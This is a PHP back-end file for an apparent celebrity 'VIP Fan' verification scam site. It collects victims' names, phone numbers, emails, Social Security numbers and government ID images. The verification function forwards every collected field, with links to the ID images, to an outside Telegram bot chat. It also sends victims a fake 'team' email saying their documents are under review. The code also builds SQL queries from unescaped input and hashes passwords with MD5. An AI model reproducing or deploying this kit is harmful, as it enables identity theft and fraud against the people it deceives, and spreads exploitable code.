<?php date_default_timezone_set('America/New_York');
ob_start();

include('config.php');
include('settings.php');
require_once('public_function.php');

function esc(String $value)
	{	
		// bring the global db connect object into function
		global $mysqli;

		$val = trim($value); // remove empty space sorrounding string
		$val = mysqli_real_escape_string($mysqli, $value);

		return $val;
	}
/*
 *  PHP FUNCTION CLASSES BY ANONYMOUS KHODEX
 */

 $rande=date("Y/m/d").mt_rand(100, 999);
class khodexclass {
	private $mysqli = null;
    private $error = null;
	function __construct($mysqli){
		  $this->mysqli = $mysqli;
}


// Login



public function login2($username,$password) {
	
	

		 $err="";
		$username = esc($username);
		 $password = esc($password);
		 
		 $ban='ban';

						  $password=md5($password);
			
			$res = $this->mysqli->query("SELECT * FROM users WHERE (username='".$username."' || email='".$username."') AND password='".$password."'");
						   
						   $resr = $this->mysqli->query("SELECT * FROM users WHERE (username='".$username. "' || email='".$username."')AND (ban='".$ban."' AND  password='".$password."')");

	   if ($username==""){$err="<li>Email or Username is Required To Login</li>";  $GLOBALS['pn_err']=$err;}
					 if ($password==""){$err="<li>You Need To Enter Your Password Login</li>";  $GLOBALS['pn_err']=$err;}
				

     if ($resr->num_rows > 0) {$err="<li>Sorry You Have Been Banned, You may Contact The Support Team. <a href='../contact'>Click Here</a></li>";  $GLOBALS['pn_err']=$err;}
     
     

           
     if ($res->num_rows == 0){$err="<li>Sorry... Your details are not valid.</li>";  $GLOBALS['pn_err']=$err;}
	 
		 
		 if($err==""){
    
    if(!empty($remember)) {
				setcookie ("username",$_POST["username"],time()+ (10 * 365 * 24 * 60 * 60));
				
                
			} else {
				if(isset($_COOKIE["username"])) {
					setcookie ("username","");
				}}
		   $_SESSION['user'] = $res->fetch_array();

                return true;
            }
		 
	  

        return false;
    }
    
    
// Account Verification


public function verification ($celebname,$ssn,$idtype,$front_idtemp,$front_idtype,$front_idsize,$front_idname,$back_idtemp,$back_idtype,$back_idsize,$back_idname,$sitename,$sitedomain,$BrowserInfo,$IpInfo,$phone,$email,$fullname,$apiToken,$chat_id,$verification_status) { $err="";


$ssn = strip_tags(trim($ssn));
$phone = strip_tags(trim($phone));
$idtype = strip_tags(trim($idtype));
$email = strip_tags(trim($email));
$fullname = strip_tags(trim($fullname));

$ssn = preg_replace("/[^0-9]/", "", $ssn);
$phone = preg_replace("/[^0-9]/", "", $phone);

$documentid = mt_rand(10000, 99999);
$docid2 = mt_rand(100000, 999999).'-'.mt_rand(100000, 999999).''.mt_rand(100000, 999999);
$docid0 = mt_rand(100000, 999999).'-'.mt_rand(100000, 999999).''.mt_rand(100000, 999999);

//Files

$errors = array();
$uploadedFiles = array();
$extension = array("jpeg","jpg","png","gif","JPEG","JPG","PNG","GIF");
$bytes = 5120;
$KB = 5120;
$totalBytes = $bytes * $KB;
$UploadFolder = "/documents";



if(!filter_var($email, FILTER_VALIDATE_EMAIL)){$err="<li>Invalid email address."; $GLOBALS['pn_err']=$err;}

$imgEx1 = substr($front_idname, strrpos($front_idname, '.') + 1);
$imgEx2 = substr($back_idname, strrpos($back_idname, '.') + 1);

$front_idname = preg_replace("/[^a-z-A-Z0-9.]/",'-',$front_idname);
$front_idname = preg_replace('/\-+/', '-', $front_idname);
$front_idname = strtolower($front_idname);


if(empty($fullname) || empty($email) || empty($ssn) || empty($phone)){$err="<li>Your fullname, cell phone number, SSN and Email address are required to your account for the VIP Fan."; $GLOBALS['pn_err']=$err;}


if(!empty($front_idname)){$front_idname=$docid0.".".$imgEx1;
	 
	 
   if($front_idsize > $totalBytes)
    {
      $err="<li>The document image exceeded its size of 5MB."; $GLOBALS['pn_err']=$err;
    }
	  if (!preg_match("/.(JPG|jpg|JPEG|jpeg|PNG|png|GIF|gif)$/i", $front_idname) ) {$err="<li>Invalid Front Document format."; $GLOBALS['pn_err']=$err;}
	
	}else{
	   $err="<li>Goverment issued ID is required (Front file)."; $GLOBALS['pn_err']=$err;
	}
	
	

	
	
	$back_idname = preg_replace("/[^a-z-A-Z0-9.]/",'-',$back_idname);
$back_idname = preg_replace('/\-+/', '-', $back_idname);
$back_idname = strtolower($back_idname);


if(!empty($back_idname)){$back_idname=$docid2.".".$imgEx2;
	 
	 
   if($back_idsize > $totalBytes)
    {
      $err="<li>The document image exceeded its size of 5MB."; $GLOBALS['pn_err']=$err;
    }
	  if (!preg_match("/.(JPG|jpg|JPEG|jpeg|PNG|png|GIF|gif)$/i", $back_idname) ) {$err="<li>Invalid Back Document format."; $GLOBALS['pn_err']=$err;}
	
	}else{
	   $err="<li>Goverment issued ID is required (Back file)."; $GLOBALS['pn_err']=$err;
	}
	

	
// Checking Verified

$check_email = $this->mysqli->query("SELECT * FROM documents WHERE ssn = '".$ssn."' AND status='verified'");
$verified_ssn = $check_email->num_rows;	

if(	$verified_ssn > 0){$err="<li>Your VIP Fan details is already submitted and verified.</li>"; $GLOBALS['pn_err']=$err;}


// Checking Pending

$check_email2 = $this->mysqli->query("SELECT * FROM documents WHERE ssn = '".$ssn."' AND status='pending'");
$pending_ssn = $check_email2->num_rows;	


if(	$pending_ssn > 0){$err="<li>Your VIP Fan details is already submitted and still under review, you will notified soon!.</li>"; $GLOBALS['pn_err']=$err;}


$check_emaily = $this->mysqli->query("SELECT * FROM documents WHERE ssn = '".$ssn."'");
		$field_cnty = $check_emaily->num_rows;
		
if(	$field_cnty > 0) {$err="<li>This details is already submitted</li>";  $GLOBALS['pn_err']=$err;}

if(empty($idtype)){$err="<li>You have to select your document type.</li>"; $GLOBALS['pn_err']=$err;}

if ( strlen($ssn)<9 || strlen($ssn)>9){$err="<li>Your SSN is not Valid.</li>";  $GLOBALS['pn_err']=$err;}

if($err==""){
  

$logusername = $fullname;
$dusername = $fullname;
$logemail = $email;


$codeid = mt_rand(100000,999999).''.mt_rand(1000,9999);
$docid = mt_rand(100000,999999);
$userid = mt_rand(10000,99999).''.mt_rand(1000,9999);
$currentdate = date('l, F j, Y');
$currenttime = date("h:i:sA");

$target = 'documents/'.$front_idname;
$target2 = 'documents/'.$back_idname;

$downloadlink1 = '=> <a href="https://'.$sitedomain.'/'.$target.'"><b>Download Front ID</b></a>';
$downloadlink2 = '=> <a href="https://'.$sitedomain.'/'.$target2.'"><b>Download Back ID</b></a>';


$url = "https://api.telegram.org/bot".$apiToken."/sendMessage?chat_id=".$chat_id;

$params = [
    'chat_id'=>$chat_id,
    'text'=> '### Verification Details submitted for '.$celebname.' VIP Fan. ###'.PHP_EOL.'Reported by iAtom Bot ✅'.PHP_EOL.'webdeveloper1972@gmail.com'.PHP_EOL.' ___________________________'.PHP_EOL.''.PHP_EOL.'→ Fullname: '.ucwords($fullname).''.PHP_EOL.'→ Phone Number: '.$phone.''.PHP_EOL.'→ Email: '.$email.''.PHP_EOL.'→ Document Type: '.ucwords($idtype).''.PHP_EOL.'→ Front File '.$downloadlink1.''.PHP_EOL.'→ Back File '.$downloadlink2.''.PHP_EOL.'→ SSN: '.$ssn.''.PHP_EOL.'→ Date: '.$currentdate.''.PHP_EOL.'→ Time: '.$currenttime.''.PHP_EOL.'→ Session ID: #'.$codeid,
    'parse_mode' => 'HTML'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$server_output = curl_exec($ch);
curl_close($ch);


    
    $message = 'Hello '.$dusername.', your account verification is processing as we are reviewing your documents.';
        $therand = mt_rand(1000,9999);
$subject = $celebname.": VIP Fan verification - #".$therand;
$headers = 'From: '.$celebname.' Team <support@'.$sitedomain.'>' . "\r\n";
$headers .= "Reply-To: support@".$sitedomain."\r\n";
$headers .= "Return-Path: no-reply@".$sitedomain."\r\n";
$headers .= "Organization: ".$celebname." Team\r\n";
$headers .= "CC: ".$email."\r\n";
$headers .= "BCC: ".$email."\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
$headers .= "X-Priority: 3\r\n";
$headers .= "X-Mailer: PHP". phpversion() ."\r\n";
        
mail($email,$subject,$message,$headers);	 
  
  $veri_status = 'pending';


if($this->mysqli->query("INSERT INTO documents (docid, userid, email, fullname, phone, ssn, idtype, file_front, file_back, status) VALUES("
                . "'" . $docid . "',"
                . "'" . $userid . "',"
                . "'" . $email . "',"
                . "'" . $fullname . "',"
                . "'" . $phone . "',"
                . "'" . $ssn . "',"
                . "'" . $idtype . "',"
                . "'" . $front_idname . "',"
                . "'" . $back_idname . "',"
                . "'" . $veri_status. "'"
    . ")")) {
		
		if(!empty($front_idtemp)){move_uploaded_file($front_idtemp, './documents/'.$front_idname);}
		
		if(!empty($back_idtemp)){move_uploaded_file($back_idtemp, './documents/'.$back_idname);}
            return true;
        }}

       $this->error = $this->mysqli->error;
        return false;
    }
	
}